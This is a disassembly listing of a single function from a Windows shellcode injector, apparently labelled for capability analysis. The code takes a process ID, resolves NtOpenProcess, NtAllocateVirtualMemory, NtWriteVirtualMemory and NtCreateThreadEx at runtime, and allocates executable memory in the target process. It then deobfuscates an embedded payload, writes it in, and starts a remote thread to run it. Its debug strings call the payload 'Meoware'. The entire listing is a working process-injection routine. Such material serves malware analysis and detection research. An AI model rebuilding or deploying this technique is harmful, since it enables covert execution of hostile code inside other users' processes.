Function at 0x14001127b
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140011960
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x720
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x120
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x748]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x1400230a3]
call fcn.14001137a
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0xa4], 0
lea rax, [rbp + 0xd0]
lea rcx, [0x14001b020]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x200
rep movsb byte [rdi], byte [rsi]
movzx eax, word [0x14001b288]
mov word [rbp + 0x2e4], ax
movzx eax, word [0x14001b28c]
mov word [rbp + 0x304], ax
mov qword [rbp + 0x328], 0x200
mov qword [rbp + 0x348], 0
cmp dword [rbp + 0x6e0], 2
jge 0x140011a61
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x6e8]
mov rdx, qword [rcx + rax]
lea rcx, str.___Usage:__s__pID__n
call fcn.14001119f
mov eax, 1
jmp 0x140011e31
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x6e8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 4], eax
lea rcx, str.NTDLL
call fcn.1400110dc
mov qword [rbp + 0x48], rax
lea rcx, str.___Generating_own_Tools_n
call fcn.14001119f
lea rdx, str.NtOpenProcess
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x368], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x388], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3a8], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3c8], rax
lea rdx, str.NtClose
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3e8], rax
lea rcx, str.___Generated_Tools_n
call fcn.14001119f
mov dword [rbp + 0x408], 0x30
mov qword [rbp + 0x410], 0
lea rax, [rbp + 0x418]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov eax, dword [rbp + 4]
mov qword [rbp + 0x458], rax
mov qword [rbp + 0x460], 0
lea rcx, str.___Getting_the_Process_n
call fcn.14001119f
lea r9, [rbp + 0x458]
lea r8, [rbp + 0x408]
mov edx, 0x1fffff
lea rcx, [rbp + 0x88]
call qword [rbp + 0x368]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011bb4
mov edx, dword [rbp + 0xa4]
lea rcx, str.____NtOpenProcess_failed__STATUS_____0x_lx_n
call fcn.14001119f
mov eax, 1
jmp 0x140011e31
mov r8, qword [rbp + 0x88]
mov edx, dword [rbp + 4]
lea rcx, str.___Got_Handle_to_the_Process__ld_____0x_p_n
call fcn.14001119f
lea rcx, str.___Allocating_buffer_rwx__in_process_Mem_n
call fcn.14001119f
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x328]
xor r8d, r8d
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x3a8]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011c53
mov edx, dword [rbp + 0xa4]
lea rcx, str.____NtAllocate_failed__STATUS_____0x_lx_n
call fcn.14001119f
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x3e8]
test eax, eax
jne 0x140011c47
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_closing_Handle_____0x_lx_n
call fcn.14001119f
mov eax, 1
jmp 0x140011e31
lea rcx, str.___Cool__Allocation_success_n
call fcn.14001119f
lea rcx, str.___deobfuscating_the_payload_before_the_Write..._n
call fcn.14001119f
mov r8d, 1
lea rdx, [rbp + 0x2e4]
lea rcx, [rbp + 0xd0]
call fcn.1400111bd
lea rax, [rbp + 0x2cf]
mov r8d, 1
lea rdx, [rbp + 0x304]
mov rcx, rax
call fcn.1400111bd
lea rcx, str.___Writing_into_the_Allocated_Memory_n
call fcn.14001119f
lea rax, [rbp + 0x348]
mov qword [rsp + 0x20], rax
mov r9d, 0x200
lea r8, [rbp + 0xd0]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x3c8]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011cf9
mov edx, dword [rbp + 0xa4]
lea rcx, str.____NtWriteVirtualMemory_failed_with_____0x_lx_n
call fcn.14001119f
jmp 0x140011d05
lea rcx, str.___Written_Meoware_into_the_Allocated_Memory_n
call fcn.14001119f
lea rcx, str.___Creating_thread_to_run_meow_n
call fcn.14001119f
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x88]
lea r8, [rbp + 0x408]
mov edx, 0x1fffff
lea rcx, [rbp + 0x88]
call qword [rbp + 0x388]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011d92
mov edx, dword [rbp + 0xa4]
lea rcx, str.____Couldnt_Create_Thread__STATUS_____0x_lx_n
call fcn.14001119f
jmp 0x140011d9e
lea rcx, str.___Created_Thread_Successfully_n
call fcn.14001119f
lea rcx, str.____Meow_success______n
call fcn.14001119f
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___Time_to_clean_n
call fcn.14001119f
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x3e8]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011df3
mov edx, dword [rbp + 0xa4]
lea rcx, str.____Error_closing_the_thread__got_status_____0x_lx_n
call fcn.14001119f
mov rcx, qword [rbp + 0x88]
call qword [rbp + 0x3e8]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140011e23
mov edx, dword [rbp + 0xa4]
lea rcx, str.____Error_closing_the_process__got_status_____0x_lx_n
call fcn.14001119f
jmp 0x140011e2f
lea rcx, str.____cleaned_shiz__ciao_n
call fcn.14001119f
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001aee0]
call fcn.140011316
mov rax, rdi
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x6c0]
pop rdi
pop rsi
pop rbp
ret